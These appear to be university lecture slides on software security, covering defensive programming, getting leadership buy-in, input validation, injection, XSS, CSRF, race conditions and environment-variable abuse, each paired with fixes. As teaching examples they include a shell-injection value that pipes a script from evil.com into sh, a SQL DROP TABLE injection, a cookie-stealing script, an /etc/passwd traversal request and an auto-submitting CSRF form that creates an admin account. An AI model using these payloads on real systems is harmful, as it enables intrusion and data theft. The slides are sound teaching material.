Software Security

Tyler Bletsch
Duke University
Software Security, Quality and Reliability

- **Software quality and reliability:**
  - Concerned with the accidental failure of program as a result of some theoretically random, unanticipated input, system interaction, or use of incorrect code
  - Improve using structured design and testing to identify and eliminate as many bugs as possible from a program
  - Concern is not how many bugs, but how often they are triggered

- **Software security:**
  - Attacker chooses probability distribution, specifically targeting bugs that result in a failure that can be exploited by the attacker
  - Triggered by inputs that differ dramatically from what is usually expected
  - Unlikely to be identified by common testing approaches

**Defending against idiots**

**Defending against attackers**
Defensive Programming

• Programmers often make assumptions about the type of inputs a program will receive and the environment it executes in
  o Assumptions need to be validated by the program and all potential failures handled gracefully and safely

• Requires a changed mindset to traditional programming practices
  o Programmers have to understand how failures can occur and the steps needed to reduce the chance of them occurring in their programs

• Conflicts with business pressures to keep development times as short as possible to maximize market advantage
Secure-by-design vs. duct tape

- Security a consideration **from the start**
- Security woven into **each** component
Security runs through everything

- Can’t just have a separate team that “does software security”
  - They never get the power they need
  - They don’t write the code that will be broken
  - Security is an emergent property; can’t be added from outside

- Everyone developing a product must understand basic security concepts
  - Security team is there to test, advise, and provide training, not “add in the security”
What to do when you walk into a security mess
Fixing a mess: psychological steps

• If you don’t have **buy-in from top leadership**, YOU WILL PROBABLY FAIL
  ▪ Fight for the support you need (see next slide)
  ▪ If you can’t get it, consider leaving the company
  ▪ The saddest people I’ve known are security experts at insecure companies...they pretty much just log the existence of timebombs they don’t get to defuse.

• Acknowledge that:
  ▪ It will be painful
  ▪ Yes, adding security takes time away from feature work
  ▪ Devs may have to change their way of thinking
  ▪ There is a trade-off between security and usability

• Keep everyone remembering the **concrete real risks**
Fixing a mess: psychological steps: How to convince an executive

- **Words to use:**
  - Cost to fix vs. cost if unfixed
  - Likelihood of risk & severity of risk
  - Cost to fix:
    - Human time
    - Opportunity cost of foregoing other features/fixes
  - Cost if unfixed:
    - Downtime
    - Loss of customer data
    - Damage to reputation
    - Actions of criminal attackers
    - Civil liability
    - Loss of sales
  - **Trade-off** against feature development and time-to-market

- **Words to avoid:**
  - Anything involving computers

**The executive mindset:**
Maximize dollars

Change in dollars if we do X?
- Change in revenue
- Change in costs
- Opportunity cost

- **If things are very toxic:**
  - Negligence
  - Duty to report
  - Ethics board
Fixing a mess: technical steps

**Low-hanging fruit:** Turn on and configure security features already available, and turn off dumb stuff:

- Use host-based firewalls
- Turn on encryption on protocols that support it (e.g. HTTP->HTTPS)
- Disable/uninstall unnecessary services
- Tighten permissions on all inter-communicating components (e.g. “your app doesn’t have to log into the database as root”)
- Install relevant security tools from elsewhere in the course (e.g. host/net-based IDS/IPS)
- Ensure there are no “fixed” passwords (e.g. every install of this app logs into its database with the password ‘9SIALfpY58jg’)

Fixing a mess: technical steps

Fixing processes:
• Make the build process smart and automated (if it isn’t already)
  ▪ Code analysis tools (e.g. lint, style checker, etc.)
  ▪ Automated testing (e.g. nightly build tests)
• Team dedicated to security test development and auditing
  ▪ Separate from the main developers!
• Code reviews (fine grained, in-team)
• Code audits (coarse grained, separate team)
• Bad practice ratchets:
  ▪ Yes there are 33 instances of strcpy() in the code, but there shall not be a single one more!
  ▪ Enforce with automated code analysis at check-in
  ▪ Cause code check-ins that violate the ratchet to FAIL – code literally doesn’t commit!
  ▪ You must also have a team refactor the existing bad practices
    • Yes this could break old gnarly critical code, TOO BAD, that’s where the vulnerabilities are likeliest!
Fixing a mess: technical steps

Identifying specific flaws:

- Penetration testing/code audit
  - If getting a contractor, research a ton and spend *real money*
    - Idiot security auditors are extremely common
- Internal bug bounty (short-term)
  - Why not long term? Because internal developers will start getting sloppy to generate bounties
- External bug bounty (long-term)
  - External programs can be long-term, since you want external security people to keep banging on your code with the hope of a paycheck for vulnerabilities found.
  - Example: bugcrowd.com is a third-party service to host bug bounty programs

Long-term re-architecting:

- Redesign the product in accordance with the principles of this course
- Phase in the changes over time
- Tie these changes to feature improvements to prevent them being cut by future short-sightedness
Specific software security practices
Handling input

- Identify all data sources
- Treat all input as dangerous
  - Explicitly validate assumptions on size and type of values before use
    - Numbers in range? Integer overflow? Negatives? Floating point effects?
    - Input not too large? Buffer overflow? Unbounded resource allocation?
    - Text input includes non-text characters?
  - Unicode vs ASCII issues?
    - Unicode has invisible characters, text-direction changing characters, and more! Also, what about stupid emojis????
  - Any “special” characters? The need for quoting/escaping...
    - For files, is directory traversal allowed (..../thing)?
      - Common bug in web apps: ask for ..../etc/passwd or similar
    - Danger of injection attacks (next slide)
Injection attacks

• When input is used in some form of code.

• Examples:
  ▪ SQL injection ("SELECT FROM mydata WHERE X=$input")
    • $input = "; DROP TABLE mydata"
  ▪ Shell injection ("whois –H $domain")
    • $domain = "; curl http://evil.com/script | sh"
  ▪ Javascript injection ("Welcome, $name!")
    • $name = "<script>send_cookie_to_evil_domain();</script>"

• Solutions:
  ▪ Escape special characters (e.g. ‘;’, ‘<’, etc.)
    • Used tested library function to do this – don’t guess!!
  ▪ For SQL: Use prepared statements
    • SQL integration library fills in variables instead of you doing it
  ▪ Better solution for SQL: Use a Object-Relational Mapping
    • Library generates all SQL, no chance for an injection vulnerability
Validating Input Syntax

• It is necessary to ensure that data conform with any assumptions made about the data before subsequent use

• Input data should be compared against what is wanted (WHITE LIST)

  ▲ Yes, this is reasonable.

• Alternative is to compare the input data with known dangerous values (BLACK LIST)

  ▲ No, bad text book! This is dumb!

Use regular expressions for this!!
Input Fuzzing

- Developed by Professor Barton Miller at the University of Wisconsin Madison in 1989

- Software testing technique that uses randomly generated data as inputs to a program
  - Range of inputs is very large
  - Intent is to determine if the program or function correctly handles abnormal inputs
  - Simple, free of assumptions, cheap
  - Assists with reliability as well as security

- Can also use templates to generate classes of known problem inputs
  - Disadvantage is that bugs triggered by other forms of input would be missed
  - Combination of approaches is needed for reasonably comprehensive coverage of the inputs
Cross Site Scripting (XSS) Attacks

• Attacks where input provided by one user is subsequently output to another user

• Common in scripted Web applications
  o Inclusion of script code in the HTML content
  o Script code may need to access data associated with other pages
  o Browsers impose security checks and restrict data access to pages originating from the same site

• Exploit assumption that all content from one site is equally trusted and hence is permitted to interact with other content from the site

• XSS reflection vulnerability
  o Attacker includes the malicious script content in data supplied to a site
Thanks for this information, its great!

(a) Plain XSS example

Thanks for this information, its great!

(b) Encoded XSS example

Figure 11.5  XSS Example
Cross-Site Request Forgery (CSRF) (1)

- In HTTP, the ‘GET’ transaction should not have side effects. Per RFC 2616:
  
  "In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe"."

- When a web app has a GET request that has a side effect, anyone can link to it! Then...
  - Victim user follows link
  - Targeted site identifies victim user by cookie and assumes user intends to do the action expressed by the link

- Example from uTorrent client: Change admin password
  
  http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

- Fixes:
  - #1: GET urls shouldn’t do stuff
  - #2: Anything that does do stuff should have a challenge/response

Adapted from https://en.wikipedia.org/wiki/Cross-site_request_forgery
Cross-Site Request Forgery (CSRF) (2)

- But keeping ‘GET’ reasonable is just a start – can ‘POST’ to other sites too!
  - Normal form to create a user on innocent.com:
    ```html
    <form action="/do_adduser">
      User: <input type=text name=username /><br>
      Pass: <input type=password name=password /><br>
      Admin? <input type=checkbox name=is_admin value=1 /><br>
    </form>
    ```
  - Evil form to abuse it on evil.com:
    ```html
    <form name='make_backdoor' action="https://innocent.com/do_adduser">
      <input type=hidden name=username value=hacker1 />
      <input type=hidden name=password value=abc123 />
      <input type=hidden name=is_admin value=1 />
    </form>
    <script>
    window.onload = function(){
      document.forms['make_backdoor'].submit();
    }
    </script>
    ```
  - If a user logged into innocent.com hits this page, it will use the user’s access to create an account “hacker1”

Adapted from https://en.wikipedia.org/wiki/Cross-site_request_forgery
Cross-Site Request Forgery (CSRF) (3)

• Fix: add a random token to generated form
  ▪ Protected form to create a user on innocent.com:
    ```html
    <form action="/do_adduser">
      User: <input type=text name=username /><br>
      Pass: <input type=password name=password /><br>
      Admin? <input type=checkbox name=is_admin value=1 /><br>
      <input type=hidden name=csrf_token value='rzNeIWA6rnXs' /><br>
    </form>
    ```

• Form processor checks for the correct CSRF token that it issued
• Attacker HTML can’t know the token; can’t issue a legit request

Adapted from https://en.wikipedia.org/wiki/Cross-site_request_forgery
Race condition

• Exploit multi-processing to take advantage of transient states in code

• Common example: **Time Of Check to Time Of Use bug (TOCTOU)**

<table>
<thead>
<tr>
<th>Victim</th>
<th>Attacker</th>
</tr>
</thead>
<tbody>
<tr>
<td>if (access(&quot;file&quot;, W_OK) != 0) {</td>
<td>//</td>
</tr>
<tr>
<td>exit(1);</td>
<td>// After the access check</td>
</tr>
<tr>
<td>}</td>
<td>// Before the open, &quot;file&quot; points to the password database</td>
</tr>
<tr>
<td>fd = open(&quot;file&quot;, O_WRONLY);</td>
<td>//</td>
</tr>
<tr>
<td>// Actually writing over /etc/passwd</td>
<td>//</td>
</tr>
<tr>
<td>write(fd, buffer, sizeof(buffer));</td>
<td>//</td>
</tr>
</tbody>
</table>

• **How to exploit:** try a lot very fast, use debug facilities, etc.

• **Solutions:** Locking, transaction-based systems, drop privilege as needed

Environment variables

• Control a LOT of things implicitly
  ▪ Examples:
    • PATH sets where named binaries are located
    • LD_PRELOAD forces a shared library to load no matter what, allowing overrides of standard functions (e.g. open/close/read/write)
    • HOME sets where the home directory is, so things writing to ~/whatever can be made to write elsewhere
    • IFS sets what characters are allowed to separate words in a command (wow, that’s tricky!)

• Need to make sure attacker can’t change, especially when escalating privilege.
  ▪ Example: If I have a legitimate setuid-root binary, but I can set PATH to my directory, then if that binary runs a program by name, it could be my version!

• Solution: Drop all environment and set manually during privilege escalation process
  ▪ See here for more.
```bash
#!/bin/bash
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
```

(a) Example vulnerable privileged shell script

```bash
#!/bin/bash
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
```

^ Can still exploit IFS variable (e.g. make it include `=` so the PATH change doesn't happen)

(b) Still vulnerable privileged shell script

Figure 11.6 Vulnerable Shell Scripts
Use of Least Privilege

• Privilege escalation
  o Exploit of flaws may give attacker greater privileges

• Least privilege
  o Run programs with least privilege needed to complete their function

• Determine appropriate user and group privileges required
  o Decide whether to grant extra user or just group privileges

• Ensure that privileged program can modify only those files and directories necessary
# Software security miscellany

- **#1: Error check ALL calls, even ones you think “can’t” fail**
- All code paths must be planned for!
- Avoid information leakage (especially in debug output!)
- Be wary of “serialization” (conversion of data structures to streams)
  - If data can include code (e.g. classes), bad input can yield arbitrary code
  - Tons of reported bugs in serialization.
    - Java now considers the Serializable interface to have been a mistake!
- Consider ‘weird’ versions of common things:
  - Weird files: FIFOs, device files, symlinks!
  - Weird URLs: URLs can include any scheme, including the ‘data’ schema that embeds the content right in the URL
  - Weird text: E.g., Unicode with all its extended abilities
  - Weird settings: Can make normal environments act in surprising ways (e.g. changing IFS)